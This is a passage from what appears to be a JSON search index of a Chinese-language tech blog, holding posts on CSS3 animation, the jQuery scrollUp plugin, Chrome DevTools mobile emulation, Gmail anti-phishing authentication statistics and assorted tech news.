跟一些博物館等單位一起進行技術上的測試，並且搜集一些使用者的意見。\n參考資料 TNW ","permalink":"https://blog.gtwang.org/funny/google-launches-open-gallery-help-museum-gallery-create-online-exhibits/","summary":"\u003cp\u003eGoogle Open Gallery 是一個開放給任何博物館或畫廊等文創單位提供線上展示作品的服務平台。\u003c/p\u003e\n\u003cp\u003e長久以來 Google 不斷透過它的 \u003ca href=\"https://artsandculture.google.com/\"\u003eGoogle 文化中心（Cultural Institute）\u003c/a\u003e服務，讓許多的博物館與畫廊中的作品可以在線上展示，而現在 Google 打算推廣這項服務，開放讓所有這類的文創產業都可以來使用這樣的服務。\u003c/p\u003e","title":"Google Open Gallery：開放給一般博物館、畫廊免費建置線上導覽網站的服務"},{"content":"這裡介紹如何使用 CSS3 的 animation 功能在網頁上製作動畫，而且不需要使用到 JavaScript。\nCSS3 所提供的動畫（animation）功能可以讓網頁元素的 CSS 樣式（style）從一個設定轉換到另外一個，藉著這樣的方式產生動畫的效果。CSS 的再設定動畫時包含兩個部份，一個是用來設定 CSS 動畫的樣式，另外一個則是指定動畫開始、結束或中途路徑的關鍵影格（keyframes）設定。\n使用 CSS 產生的動畫跟傳統上以 JavaScript 製作的動畫比較起來，有一些優點：\n使用 CSS 會比 JavaScript 容易很多，對於簡單的動畫而言，不需要學習 JavaScript 即可馬上製作出來。 使用 CSS 的動畫比較節省資源，甚至在有一定負載量的系統中也可以很平順的執行，但是 JavaScript 的動畫就很容易因為效能問題而跑不起來（除非經過很精心的設計），而且一般瀏覽器的繪圖引擎（rendering engine）還可以透過 frame-skipping 這類的方式，提升整體的效能。 CSS 把動畫播放的控制權交給瀏覽器控制，這樣可以讓瀏覽器進行更多的最佳化動作，例如當一個動畫放在背景的籤頁時，瀏覽器就可以減低這個動畫的更新頻率。 設定 CSS 動畫 要在網頁上製作 CSS 動畫，可以使用 animation 相關的 CSS 屬性，它可以讓你設定動畫的播放速度、時間與其他跟動畫播放有關的屬性，而動畫真正的外觀則是使用 @keyframes at-rule 來設定（請看隨後的說明）。\n在 animation 相關屬性的部份，可以使用的 CSS 屬性有：\nCSS 屬性 說明 animation-delay 設定網頁元素在被載入之後到開始播放動畫之間的等待時間。 animation-direction 設定網頁元素在動畫播放完之後，是否要以相反方向的方式播放，或是從頭開始以原來的方向重複播放。 animation-duration 設定整個動畫播放一次的時間長度。 animation-iteration-count 設定動畫播放的次數，若要不斷重複播放，則可設為 infinite。 animation-name 設定 @keyframes at-rule 所使用的動畫名稱。 animation-play-state 這個屬性可用來暫停或繼續動畫播放。 animation-timing-function 透過加速曲線（acceleration curves），設定動畫播放的速度。 animation-fill-mode 設定動畫元素在播放前與播放後，如何套用 CSS 的樣式。 使用 @keyframes 設定動畫關鍵影格（keyframes） 在使用 animation 相關的 CSS 屬性定義完動畫的速度與時間之後，接著還要再設定動畫實際要顯現的樣子，這個部份則是使用 @keyframes at-rule 來設定，每一個關鍵影格描述了網頁元素在動畫中的某個時間點應該呈現的樣子。\n由於實際的動畫播放時間在 CSS 樣式中已經定義好了，在關鍵影格的部份則是使用百分比來指定動畫在每個時間點呈現的方式，0% 代表動畫一開始播放的起始點，而 100% 則代表動畫的結尾，由於這兩個時間點很常使用，所以你也可以使用 from 與 to 來分別代表 0% 與 100%。如果沒有指定動畫的開始點（from）或結束點（to），那麼瀏覽器就會自己計算網頁元素在動畫開始或結束時的各種屬性（大概是使用外差的方式吧）。\n除了 0% 與 100% 之外，你也可以再另外加上任何比例的關鍵影格，設定整個動畫的播放方式。\n範例 接下來我們以實際的範例讓大家了解如何以 CSS 製作網頁動畫。\n滑動的文字標題 第一個例子是讓一行文字標題從右方滑進來，下面這些是實作的程式碼。\nh1 { animation-duration: 3s; animation-name: slidein; } @keyframes slidein { from { padding-left: 100%; width: 300%; } to { padding-left: 0%; width: 100%; } } 這裡使用 animation-duration 這個屬性指定 \u0026lt;h1\u0026gt; 的文字標題執行歷時 3 秒的動畫，animation-name 指定這個動畫名稱為 slidein，而 @keyframes at-rule 則定義 slidein 這個動畫的關鍵影格。\n這裡我們是為了讓大家容易了解 CSS 動畫的用法，所以才盡量讓程式碼保持簡潔，如果你希望讓一些不支援 CSS 動畫的瀏覽器可以顯示一些其他的 CSS 效果，也可以在這裡加入一些其他的 CSS 屬性。\n動畫中的關鍵影格都是使用 @keyframes at-rule 來設定，在這個例子中只指定了兩個關鍵影格，一個是動畫的起始點（from），在這個時間點設定網頁元素的 padding-left 為 100%，並且設定元素的寬度 width 為 300%，這樣可以讓這個網頁元素在動畫一開始的時候完全隱藏在整個畫面的右邊。\n第二個關鍵影格是指定動畫的結束點（to），在這個時間點上 padding-left 設定為 0%，而 width 設定為 100%，這樣就可以讓文字標題在動畫結束時滑到它該被放置的位置。\n這裡的 CSS 屬性都沒有加上任何的 prefix，如果是 WebKit 為基礎的瀏覽器（Chrome 與 Safari 等）或其他比較舊版的瀏覽器都要加上 prefix 才能正常運作，例如上面的例子如果要讓大部份的瀏覽器都可以運作，就要加上 -webkit- 與 -moz- 這兩個 prefix：\nh1 { -webkit-animation-duration: 3s; -moz-animation-duration: 3s; -webkit-animation-name: slidein; -moz-animation-name: slidein; } @-webkit-keyframes slidein { from { padding-left: 100%; width: 300%; } to { padding-left: 0%; width: 100%; } } @-moz-keyframes slidein { from { padding-left: 100%; width: 300%; } to { padding-left: 0%; width: 100%; } } 雖然這樣程式碼顯得很冗長，但是為瀏覽器的相容性也只能這樣，在接下來的 CSS 程式碼中都有這樣的狀況，以下就不再贅述，請大家自己注意一下。\n下面這個是實際的示範，請把滑鼠移到文字上，動畫就會開始播放。\n滑動的文字標題 增加動畫關鍵影格 接著我們在上面的例子中再加入一個關鍵影格，讓這個文字標題在滑動時，字體大小會跟著慢慢變大再縮小成原來的樣子：\n75% { font-size: 300%; padding-left: 25%; width: 150%; } 這段程式碼是設定在整段動畫播放到 75% 的時間點上，文字標題的字型大小 font-size 應該變為 300%、padding-left 應該變為 25%，寬度 width 則為 25%。\n下面這個是實際的示範，請把滑鼠移到文字上，動畫就會開始播放。\n滑動的文字標題 重複播放動畫 若要讓動畫重複播放，只要加入 animation-iteration-count 這個屬性並指定重複的次數即可。這裡我們將重複次數指定為 infinite，讓動畫一直持續重複播放。\nh1 { animation-duration: 3s; animation-name: slidein; animation-iteration-count: infinite; } 下面這個是實際的示範，請把滑鼠移到文字上，動畫就會開始播放。\n滑動的文字標題 讓文字標題來回滑動 如果只是讓動畫重複播放，當一段動畫播放結束後再重新播放時，就會發生文字突然從最左邊（動畫結尾）跳到最右邊（動畫開頭），這樣其實感覺不是很自然。\n如果想讓整個文字標題動畫看起來可以比較平順的來回滑動，可以將 animation-direction 這個屬性設定為 alternate。\nh1 { animation-duration: 3s; animation-name: slidein; animation-iteration-count: infinite; animation-direction: alternate; } 下面這個是實際的示範，請把滑鼠移到文字上，動畫就會開始播放。\n滑動的文字標題 使用動畫事件（events） 動畫的事件（events）提供網頁設計者更多的操控方式與動畫的相關資訊，這類的事件都是以 AnimationEvent 物件來表示，它可以用來偵測動畫的開始、結束或重新播放的時間點，每個事件中都紀錄該事件發生的時間與產生該事件的動畫名稱。\n接下來我們將修改上面的滑動文字標題範例，讓它輸出一些動畫播放的資訊，藉此了解整個動畫的運作過程。\n加入動畫的事件傾聽者（event listeners） 這裡我們使用 JavaScript 來接收動畫所產生的事件，下面這個 setup() 函數內容就是設定動畫的事件傾聽者（event listeners），這個函數通常都是在網頁一開始載入時就被呼叫，作為初始化的一部分。\nfunction setup() { var e = document.getElementById(\u0026#34;watchme\u0026#34;); e.addEventListener(\u0026#34;animationstart\u0026#34;, listener, false); e.addEventListener(\u0026#34;animationend\u0026#34;, listener, false); e.addEventListener(\u0026#34;animationiteration\u0026#34;, listener, false); var e = document.getElementById(\u0026#34;watchme\u0026#34;); e.className = \u0026#34;slidein\u0026#34;; } 這裡設定了三個事件的傾聽者，分別為 animationstart（動畫開始播放）、animationend（動畫結束） 與 animationiteration（動畫重新播放）。這段程式碼是非常標準的寫法，如果想更了解它是如何運作的，可以參考 element.addEventListener() 的說明文件。\n在這個 setup() 函數的最後將這個網頁元素的 className 設定為 slidein，這個動作會讓動畫開始播放。\n由於動畫一開始播放的時候就會產生 animationstart 事件了，在這個範例中如果讓動畫太早播放，JavaScript 的程式就會來不及初始化，所以這裡我們使用這樣的方式讓動畫開始的時間放在 JavaScript 程式的最後，確保動畫開始播放時，所有的準備工作都已經完成了。\n由於每一個瀏覽器對於這些事件的命名都不太一樣，這裡我們是使用 W3C 的標準，以下是各種瀏覽器的事件命名方式：\nW3C 標準 animationstart animationiteration animationend Firefox animationstart animationiteration animationend webkit webkitAnimationStart webkitAnimationIteration webkitAnimationEnd Opera oanimationstart oanimationiteration oanimationend IE10 MSAnimationStart MSAnimationIteration MSAnimationEnd 所以在指定事件傾聽者時，如果想要涵蓋各種不同的瀏覽器，就要把這些狀況都考慮進去，以下是一個簡單的小函數，可以一次加入所有瀏覽器需要的事件傾聽者：\nvar pfx = [\u0026#34;webkit\u0026#34;, \u0026#34;moz\u0026#34;, \u0026#34;MS\u0026#34;, \u0026#34;o\u0026#34;, \u0026#34;\u0026#34;]; function PrefixedEvent(element, type, callback) { for (var p = 0; p \u0026lt; pfx.length; p++) { if (!pfx[p]) type = type.toLowerCase(); element.addEventListener(pfx[p]+type, callback, false); } } // animation listener events PrefixedEvent(e, \u0026#34;AnimationStart\u0026#34;, listener); PrefixedEvent(e, \u0026#34;AnimationIteration\u0026#34;, listener); PrefixedEvent(e, \u0026#34;AnimationEnd\u0026#34;, listener); 接收事件 上面的設定中，我們將所有的事件都遞送給 listener() 這個函數，而這個函數定義如下：\nfunction listener(e) { var l = document.createElement(\u0026#34;li\u0026#34;); switch(e.type) { case \u0026#34;animationstart\u0026#34;: l.innerHTML = \u0026#34;Started: elapsed time is \u0026#34; + e.elapsedTime; break; case \u0026#34;animationend\u0026#34;: l.innerHTML = \u0026#34;Ended: elapsed time is \u0026#34; + e.elapsedTime; break; case \u0026#34;animationiteration\u0026#34;: l.innerHTML = \u0026#34;New loop started at time \u0026#34; + e.elapsedTime; break; } document.getElementById(\u0026#34;output\u0026#34;).appendChild(l); } 這段程式碼也很簡單，他做的事情就是檢查 event.type，判斷事件的種類，然後將輸出放到一個 id 為 output 的 \u0026lt;ul\u0026gt; 中。\n這裡如果也要考慮不同瀏覽器的狀況的話，可以把判斷式改寫成這樣的形式：\nif (e.type.toLowerCase().indexOf(\u0026#34;animationend\u0026#34;) \u0026gt;= 0) { // ... } 這樣就可以處理各種瀏覽器所產生的事件。\nHTML 網頁程式碼 這裡的 HTML 網頁程式碼主要包含會滑動文字標題與輸出用的 \u0026lt;ul\u0026gt;。\n\u0026lt;body onload=\u0026#34;setup()\u0026#34;\u0026gt; \u0026lt;h1 id=\u0026#34;watchme\u0026#34;\u0026gt;Watch me move\u0026lt;/h1\u0026gt; \u0026lt;ul id=\u0026#34;output\u0026#34;\u0026gt; \u0026lt;/ul\u0026gt; \u0026lt;/body\u0026gt; 下面這個是實際的示範，請把滑鼠移到文字上，動畫就會開始播放。\n滑動的文字標題 這裡我們放在網頁上的程式碼都儘量以比較簡單的方式撰寫，方便大家理解其中的重點，而在這個網頁中實際示範部分，因為要把一些 JavaScript 與 CSS 等程式碼內崁在 Blogger 部落格的文章中，所以有經過一些小修改，不過大致上的概念都是一樣的。如果你對於這樣內崁的方式有興趣，當然也可以直接查看這個網頁的原始碼，比較看看這些程式碼跟網頁上的差異。\n參考資料 Mozilla Developer Network 貓箱 unmatchedstyle sitepoint ","permalink":"https://blog.gtwang.org/web-development/using-css3-animation/","summary":"\u003cp\u003e這裡介紹如何使用 CSS3 的 animation 功能在網頁上製作動畫，而且不需要使用到 JavaScript。\u003c/p\u003e\n\u003cp\u003eCSS3 所提供的動畫（animation）功能可以讓網頁元素的 CSS 樣式（style）從一個設定轉換到另外一個，藉著這樣的方式產生動畫的效果。CSS 的再設定動畫時包含兩個部份，一個是用來設定 CSS 動畫的樣式，另外一個則是指定動畫開始、結束或中途路徑的關鍵影格（keyframes）設定。\u003c/p\u003e","title":"使用 CSS Animation 製作網頁上的動畫（只要 CSS3，不用 JavaScript！）"},{"content":"Google 今天宣佈一項數據：大家對抗釣魚郵件的戰爭經過近十年的努力之後，終於有一些成果了，現在從網路上傳送給 Gmail 使用者的已認證（非垃圾）郵件中，有 91.4% 的郵件認證是來自於 DomainKey Identified Email（DKIM）或 Sender Policy Framework（SPF）這兩種標準。\n網路上許多 Email 相關的產業長年來都致力於這樣的郵件認證標準，希望可以藉由郵件的寄送網域單位與接收網域單位確認使用者的身份，避免冒名的電子郵件產生，而這樣的措施可以幫助類似 Gmail 這類的電子郵件服務提供者一年過濾數十億封的釣魚郵件，確保這些釣魚郵件不會進入到使用者的信箱裡。\n這張圖是 Google 所提供的，它顯示了現在這個機制運作的狀況。\n以下是 Google 公佈的一些統計資料：\n有 76.9% 的郵件使用 DKIM 標準，有超過 50 萬個網域使用這個認證標準。 有 89.1% 的郵件使用 SPF 標準，而有超過 350 萬個網域使用這個認證標準。 有 74.7% 的郵件同時使用了 DKIM 與 SPF 兩個標準。 有超過 8 萬個網域已經使用網域相關的準則（domain-wide policies），讓 Gmail 可以透過 DMARC 標準每週篩選掉數億封的郵件。 雖然這是個好消息，但是這個對抗釣魚郵件的戰爭還是會持續進行，縱使大部分的網域單位都有使用這樣的認證機制，但是釣魚信件發布者還是可以鎖定那些少數沒有使用認證的網域單位，甚至再這樣的認證機制下，攻擊者還可以嘗試去破解一些比較弱的加密金鑰，而 Google 也建議像 DKIM 這類認證機制，應該使用長度在 1024 位元以上的金鑰。\n另外還有一些擁有網域但卻從來不發送郵件的單位，也可以透過 Domain-based Message Authentication, Reporting \u0026amp; Conformance（DMARC）來描述該網域不是發送郵件的網域，這樣也有助於對抗這類的釣魚郵件。\n參考資料 TNW ","permalink":"https://blog.gtwang.org/funny/google-says-91-4-authenticated-non-spam-emails-sent-gmail-users-now-using-antiphishing-standards/","summary":"\u003cp\u003eGoogle 今天宣佈一項數據：大家對抗釣魚郵件的戰爭經過近十年的努力之後，終於有一些成果了，現在從網路上傳送給 Gmail 使用者的已認證（非垃圾）郵件中，有 91.4% 的郵件認證是來自於 DomainKey Identified Email（DKIM）或 Sender Policy Framework（SPF）這兩種標準。\u003c/p\u003e","title":"Gmail 收到的郵件中已經有 91.4% 使用了對抗釣魚郵件的認證機制"},{"content":"BitTorrent 今天宣布他的 Sync 檔案同步工具已經有超過 2 百萬的使用者了，成長的速度比 Dropbox 還要快。\n在一個月前，BitTorrent 釋出新版的 Sync 與 API，加速了其使用者的成長速度，而 BitTorrent 也相信一般雲端服務所存在的風險也會促使使用者選擇 Sync 這樣的方案，像最近美國國家安全局（NSA）搜集資料的事件就是個很實際的例子。\n在前八個月中，BitTorrent Sync 的使用者成長速度幾乎是 Dropbox 的兩倍。\nBitTorrent 也在內部使用區域網路進行測試，發現 Sync 在同步資料上的速度會比 Dropbox 快 7 倍，很顯然 Sync 這次是把矛頭指向 Dropbox。\nBitTorrent Sync 與 Dropbox 另外一個主要的差異是 Dropbox 有提供一個伺服器空間讓你把資料儲存在雲端上，但是 Sync 則是讓所有使用者的資料都儲存在自己的硬碟，他不會儲存任何使用者的資料，他只負責幫你在不同電腦中進行資料同步的動作。\n所以 Sync 並沒有儲存容量上的限制，只要使用者的硬碟夠大，要同步多少資料量都沒有問題，以目前來說平均每個 Dropbox 使用者儲存的資料量是 0.42 GB，而平均每個 Sync 的使用者透過 Sync 同步的資料量是 20GB，當然會有這樣的差距是正常的，因為提供資料儲存空間與只是同步資料是不同的兩件事，不過這個數據還是值得參考一下。\n基本上 Dropbox 與 Sync 兩者之間本來就有差異，如果你希望你的檔案可以存放在雲端上，隨時隨地都可以透過網路存取，當然只能選擇 Dropbox，而如果你的資料量很大，而且只是需要在多台電腦或手持裝置間同步，那麼 Sync 就會是不錯的選擇。\n參考資料 TNW ","permalink":"https://blog.gtwang.org/funny/bittorrent-doubles-sync-userbase-2-million-month-says-dropbox-competitor-growing-twice-fast/","summary":"\u003cp\u003e\u003ca href=\"https://www.bittorrent.com/\"\u003eBitTorrent\u003c/a\u003e 今天宣布他的 Sync 檔案同步工具已經有超過 2 百萬的使用者了，成長的速度比 Dropbox 還要快。\u003c/p\u003e\n\u003cp\u003e在一個月前，BitTorrent 釋出新版的 Sync 與 API，加速了其使用者的成長速度，而 BitTorrent 也相信一般雲端服務所存在的風險也會促使使用者選擇 Sync 這樣的方案，像最近美國國家安全局（NSA）搜集資料的事件就是個很實際的例子。\u003c/p\u003e","title":"BitTorrent Sync 使用者超過兩百萬人，成長速度是 Dropbox 的兩倍"},{"content":"Colorpeek 是一個查看與分享 CSS 色碼的線上工具，除了顯示 CSS 顏色還可以自動取出圖片的主要顏色。\n一般在設計網頁時，一定常常會需要查看某項網頁元素的顏色，或是為某一個網頁元素選擇一個適當的顏色，如果是團隊開發的情況，在多個網頁開發者之間討論顏色時，也會碰到需要互相交流顏色選擇的看法，當然你可以直接將 hex triplet 貼上 Photoshop 這類的會提軟體，看看這個顏色的感覺，調整好顏色之後，再把這個 hex triplet 貼在 Email 寄給另外一位開發者，跟他說這個顏色不錯，但是這樣每次調整顏色時都要開啟 Photoshop 這樣的軟體，其實不太方便。\nColorpeek 是一個可以讓你快速查看或分享 CSS 顏色的線上工具，它支援各種 CSS 的顏色表示方式，例如十六進位的 hex triplet、RGB(A)、HSL(A)、具名顏色（named colors）與非標準的 brand colors，這些以表示方式的 CSS 碼都可以使用這個工具快速顯示顏色。\n下面是一些範例：\n十六進位 hex 碼：colorpeek.com/#a899f2 RGBA：colorpeek.com/#rgba(221,78,133,0.5) 具名顏色：colorpeek.com/#lightcoral 多種顏色表示方式混合：colorpeek.com/#hotpink,rgb(77,196,94),hsl(212,73,67) brand colors：colorpeek.com/#facebook,twitter,youtube 如果你的瀏覽器支援檔案的拖拉的 file API，那麼你也可以把一般的圖片直接用滑鼠拖曳進 Colorpeek 的網頁中，這樣 Colorpeek 就會把該圖片中比較主要的一些顏色顯示出來。\n當你在 Colorpeek 上建立好一些顏色組合之後，就可以按下右上角的分享按鈕，透過 Email 或社群網站分享你的色碼表，如果想要更改顏色的表示方式，可以從左上角的設定選單選擇自己想要的表示方式，可用的選項有 Hex、RGB 與 HSL。\n參考資料 CSS Tricks ","permalink":"https://blog.gtwang.org/web-development/colorpeek-simple-way-see-share-css-colors/","summary":"\u003cp\u003e\u003ca href=\"https://colorpeek.com/\"\u003eColorpeek\u003c/a\u003e 是一個查看與分享 CSS 色碼的線上工具，除了顯示 CSS 顏色還可以自動取出圖片的主要顏色。\u003c/p\u003e\n\u003cp\u003e一般在設計網頁時，一定常常會需要查看某項網頁元素的顏色，或是為某一個網頁元素選擇一個適當的顏色，如果是團隊開發的情況，在多個網頁開發者之間討論顏色時，也會碰到需要互相交流顏色選擇的看法，當然你可以直接將 \u003ca href=\"https://en.wikipedia.org/wiki/Web_colors#Hex_triplet\"\u003ehex triplet\u003c/a\u003e 貼上 Photoshop 這類的會提軟體，看看這個顏色的感覺，調整好顏色之後，再把這個 hex triplet 貼在 Email 寄給另外一位開發者，跟他說這個顏色不錯，但是這樣每次調整顏色時都要開啟 Photoshop 這樣的軟體，其實不太方便。\u003c/p\u003e","title":"Colorpeek：查看與分享 CSS 色碼的線上工具"},{"content":"亞馬遜（Amazon）的 CEO Jeff Bezos 在美國節目「六十分鐘」裡，宣布推出一套可以在 30 分鐘內，將產品運送到府的無人飛機（Drone）運輸系統：Amazon Prime Air。\n這台無人送貨飛機最大承載的重量是 5 磅（約 2.26 公斤），而亞馬遜所販售的商品中大概有 86% 都低於這個重量，也就是說未來這個服務可能可以適用於大部分的亞馬遜客戶。\nAmazon Prime Air 使用的無人飛機機具備八具螺旋槳，並且在四根細細腳架的下方有著可以夾上固定尺寸運送盒的自動夾具。除了重量限制之外，Prime Air 的飛行距離也有限制，它大約只能把貨物送到 10 英里（約 16 公里）以內的範圍。\n由於 FAA 的審核還需一段時間，所以這個超快速到貨的服務預計最快將在 2015 年才有可能正式上線營運。\n","permalink":"https://blog.gtwang.org/funny/amazon-prime-air-drones/","summary":"\u003cp\u003e亞馬遜（Amazon）的 CEO Jeff Bezos 在美國節目「六十分鐘」裡，宣布推出一套可以在 30 分鐘內，將產品運送到府的無人飛機（Drone）運輸系統：Amazon Prime Air。\u003c/p\u003e","title":"Amazon Prime Air：亞馬遜用來送貨的無人飛機"},{"content":"現今生活中許多的日常用品都有很漂亮的設計，在資訊的領域也不例外，許多的網站與桌面應用程式也都經過特別的設計，讓整體的使用感覺更舒服，也因為這樣使用者漸漸體認到設計的重要性，在以前那些不在意設計的使用者，現在可能都會使用者界面或使用者經驗不夠好而抱怨。\n設計對於許多軟體其實都有很大的影響，以繪圖軟體而言，Photoshop 與 GIMP 其實對於一般的使用者而言，大部分在 Photoshop 中所使用的功能 GIMP 其實都有，但是為什麼大家都會喜歡花錢使用 Photoshop？像這類因為設計取勝的的例子不勝枚舉。\n開放原始碼的軟體通常可以作為一些上用軟體的免費替代品，但很可惜的是一般這種開放原始碼的軟體大部份都沒有為使用者做好完善的考量，通常一般的使用者在選擇軟體時，會考慮兩個重點：\n這個產品（軟體）是否可以如預期中改善我的工作或生活？ 這個產品是否讓我「感覺」值得選用它？ 除了這兩項因素之外，其餘的考量大概都是後來的事情，縱使開放原始碼是免費的，但如果一開始這兩項因素中有任何一項不符合，使用者也會選擇花錢購買一般的商業軟體來使用。\n如果你開發了一個開放原始碼的軟體，通常第一個因素都會滿足，這也應該是開發這個軟體的最初目的，但是如果第二項條件不符合使用者的需求，通常使用者可能感覺不好用之後，就會上 Google 找替代品了。產品的第一映像是很重要的，即便你開發的軟體功能很強大，但是如果沒有讓使用者一開始就很方便的使用，打壞名聲之後要再彌補會是很困難的事情。\n現在這個設計意識抬頭的時代，軟體的每一個小組件都會需要有漂亮的設計，以便給使用者好的第一映像，一個缺乏設計的軟體，通常很容易就被其它經過設計的相似軟體擊敗，而開放原始碼的軟體由於長久以來都缺乏設計，已經給大多數人不好的刻板映像，所以如果要讓一個開放原始碼的軟體被大眾所接受，在設計上更是需要著墨，不要讓你的使用者在使用你的軟體時有回到 90 年代重溫舊夢的感覺。\n基本上一個程式設計師通常在面對一個設計問題時，通常會以既定的思維來思考，如何設計好用的「功能」來讓使用者很快解決各種問題，但是這樣的設計方式還是明顯不足，還要再加上產品的視覺設計，讓整個產品可以在使用者（客戶）面前展現它應該有的「感覺」。這也是為什麼許多軟體開發團隊中都會有專門的美術設計人員存在，這樣的人可以補足程式設計師的不足，讓軟體的整體效益大幅提升。\n如果你的開發團隊沒有專門的設計人員，其實也可以利用一些既有的工具來補足，例如 Bootstrap、Font-Awesome、Google Fonts、jQuery、D3.js、Backbone.js 與 AngularJS 等，這些工具可以讓非設計領域的程式人員開發出比較像樣的軟體。\n參考資料 opensource.com ","permalink":"https://blog.gtwang.org/funny/beautiful-design-drives-user-adoption-open-source-software/","summary":"\u003cp\u003e現今生活中許多的日常用品都有很漂亮的設計，在資訊的領域也不例外，許多的網站與桌面應用程式也都經過特別的設計，讓整體的使用感覺更舒服，也因為這樣使用者漸漸體認到設計的重要性，在以前那些不在意設計的使用者，現在可能都會使用者界面或使用者經驗不夠好而抱怨。\u003c/p\u003e","title":"漂亮的設計可以導引使用者接受開放原始碼的軟體"},{"content":"隨著耶誕節到來，Google 也應景推出 Santa Tracker 聖誕老人追蹤器，讓你掌握聖誕老人每天的的行蹤！\nSanta Tracker 這個網站是 Google 最新推出的耶誕節活動網站，根據「精靈創意總監」Sandra Russell 在部落格的文章，Google 工程師正努力以精密的地圖和技術，追蹤耶誕老人的雪橇。\n你可以利用你的手機隨時與精靈一起飛翔，或是愜意地在壁爐邊用平板電腦，追蹤耶誕節前夕在全球趴趴走送禮物的耶誕老人動態。\n","permalink":"https://blog.gtwang.org/funny/google-santa-tracker/","summary":"\u003cp\u003e隨著耶誕節到來，Google 也應景推出 \u003ca href=\"https://www.google.com/santatracker/\"\u003eSanta Tracker\u003c/a\u003e 聖誕老人追蹤器，讓你掌握聖誕老人每天的的行蹤！\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://www.google.com/santatracker/\"\u003eSanta Tracker\u003c/a\u003e 這個網站是 Google 最新推出的耶誕節活動網站，根據「精靈創意總監」Sandra Russell 在部落格的文章，Google 工程師正努力以精密的地圖和技術，追蹤耶誕老人的雪橇。\u003c/p\u003e","title":"Google 聖誕老人追蹤器（Santa Tracker），讓你掌握耶誕老人的行蹤！"},{"content":"Google Chrome 的最新版加入了手機網頁應用程式開發功能，現在你可以直接使用 DevTools 進行手機網頁應用程式的開發與除錯了。\nGoogle 最近釋出了 Windows、Mac、Linux 與 Android 平台的 Chrome 32 beta 版，並且針對 DevTools 加入了手機平台的網頁開發功能，現在手機的開發人員可以利用這個功能對手機版的網頁應用程式（web apps）進行開發與除錯的動作，當你在設計應用程式時，新的 DevTools 可以在開發環境中直接看到手機的畫面，以下是它的操作過程。\n他的設定也很簡單，只要開啟「Show Emulation」這個功能之後，DevTools 就會將手機的畫面顯示出來，另外他也提供一些可以調整的參數，例如解析度、觸控擬真、devicePixelRatio、user agent、各種感測器的設定等。\n如果你想要測試網頁應用程式實際在手機上執行的效能，也可以透過 USB 的方式連接手機與電腦，進行實際的測試。\n這裡最吸引人的地方就是這些開發工具在使用上幾乎完全不用任何設定動作，也不需要使用 adb 這類的指令，甚至也不用安裝任何擴充功能，當透過 USB 連接手機與電腦時，你還可以直接把整個畫面從手機抓回 DevTools 中。\n另外在 DevTools 中進行手機應用程式的測試時，鍵盤與滑鼠的事件（events）還可以直接傳給手機，所以你也可以不用在測試手機時，還要再用手指在手機上滑來滑去。\n這個 DevTools 所提供的手機網頁應用程式開發功能，可以讓手機的開發者更容易發展網頁的應用程式，可以想見未來開發這類的網頁應用程式會日漸普及，這也是 Google 一直在推動的方向。\n參考資料 TNW ","permalink":"https://blog.gtwang.org/web-development/google-chrome-devtools/","summary":"\u003cp\u003e\u003ca href=\"https://blog.chromium.org/2013/12/chrome-devtools-for-mobile-emulate-and.html\"\u003eGoogle Chrome 的最新版\u003c/a\u003e加入了手機網頁應用程式開發功能，現在你可以直接使用 DevTools 進行手機網頁應用程式的開發與除錯了。\u003c/p\u003e\n\u003cp\u003eGoogle 最近釋出了 Windows、Mac、Linux 與 Android 平台的 Chrome 32 beta 版，並且針對 DevTools 加入了手機平台的網頁開發功能，現在手機的開發人員可以利用這個功能對手機版的網頁應用程式（web apps）進行開發與除錯的動作，當你在設計應用程式時，新的 DevTools 可以在開發環境中直接看到手機的畫面，以下是它的操作過程。\u003c/p\u003e","title":"Google Chrome 的 DevTools 現在支援手機平台的網頁開發了"},{"content":"這裡介紹如何使用 scrollUp jQuery Plugin，在網頁與部落格中加入回到頁首（Back To Top）的按鈕。\n有些網頁設計者會在一些內容比較長的網頁中加入回到頁首（Back To Top）的按鈕，這種按鈕在一開始載入網頁時並不會顯示，而在使用者往下捲動網頁內容時就會自動出現在畫面的角落，只要使用者用滑鼠點一下這個按鈕，就會自動將捲軸拉到最上方，是一個可以讓使用者更方便瀏覽網頁的小功能。\nscrollUp jQuery Plugin 是一個很輕巧的 jQuery plugin，它可以讓你再任何網頁中加入回到頁首（Back To Top）的按鈕，不但可以自訂按鈕樣式，使用上也很簡單，以下示範如何將這個 plugin 使用在一般的網頁中。\n下載 scrollUp jQuery Plugin 首先從 scrollUp jQuery Plugin 網站（或是 GitHub）上下載這個 plugin，下載下來的檔案應該會是一個 zip 壓縮檔，裡面包含很多檔案，除了最佳化的 JavaScript 與原始碼之外，還有一個用來示範這個 plugin 的範例網頁。\n使用 scrollUp jQuery Plugin 如果你只是單純要使用這個 plugin 的話，JavaScript 的部份其實只會需要 jquery.scrollUp.min.js 這個檔案，將這個檔案放進自己的網頁空間，並在網頁中的 \u0026lt;head\u0026gt; 加入\n\u0026lt;script type=\u0026#34;text/javascript\u0026#34; src=\u0026#34;js/jquery.scrollUp.min.js\u0026#34;\u0026gt;\u0026lt;/script\u0026gt; 另外因為這個 plugin 會使用到 jQuery，所以如果你的網頁中沒有引入 jQuery 的話，也要記的加上 jQuery，如果本來就有的話，就可以省略。\n\u0026lt;script type=\u0026#34;text/javascript\u0026#34; src=\u0026#34;js/lib/jquery-1.10.2.min.js\u0026#34;\u0026gt;\u0026lt;/script\u0026gt; 其中 src 的路徑請依照自己網頁空間中放置該 JavaScript 檔案的位置來修改。\nscrollUp jQuery Plugin 有提供好幾種樣式可以選擇，你可以在它的示範網頁中看看每一種樣式的效果，選擇自己想要的樣式之後，再依照樣式名稱來引入 CSS 檔與圖檔。\n這裡所有樣式所使用的 CSS 檔都放在解壓縮後的 css/themes/ 這個目錄中，而圖檔則是放在 img/ 目錄裡面，假設我們選擇 image 這個樣式，就引入 css/themes/image.css 檔的內容，因為它的內容很短，直接把這個內容複製後，貼再網頁的 \u0026lt;head\u0026gt; 中會比較方便：\n\u0026lt;style type=\u0026#34;text/css\u0026#34;\u0026gt; /* Image style */ #scrollUp { bottom: 20px; right: 20px; height: 38px; /* Height of image */ width: 38px; /* Width of image */ background: url(../../img/top.png) no-repeat; } \u0026lt;/style\u0026gt; 這裡的 background 中有使用一個 ../../img/top.png 圖檔，這個圖檔是放在解壓縮後的 img/ 目錄裡面，這個就是要顯示在網頁上當作按鈕的小圖示，你可以換成自己喜歡的圖，或是直接把這個圖檔上傳到自己的網頁空間，再把這裡的路徑修改一下。\n最後在網頁加入執行 scrollUp jQuery Plugin 的 JavaScript，它有許多選項可以使用，下面這段是各種選項使用預設值的使用方式：\n\u0026lt;script\u0026gt; $(function () { $.scrollUp({ scrollName: 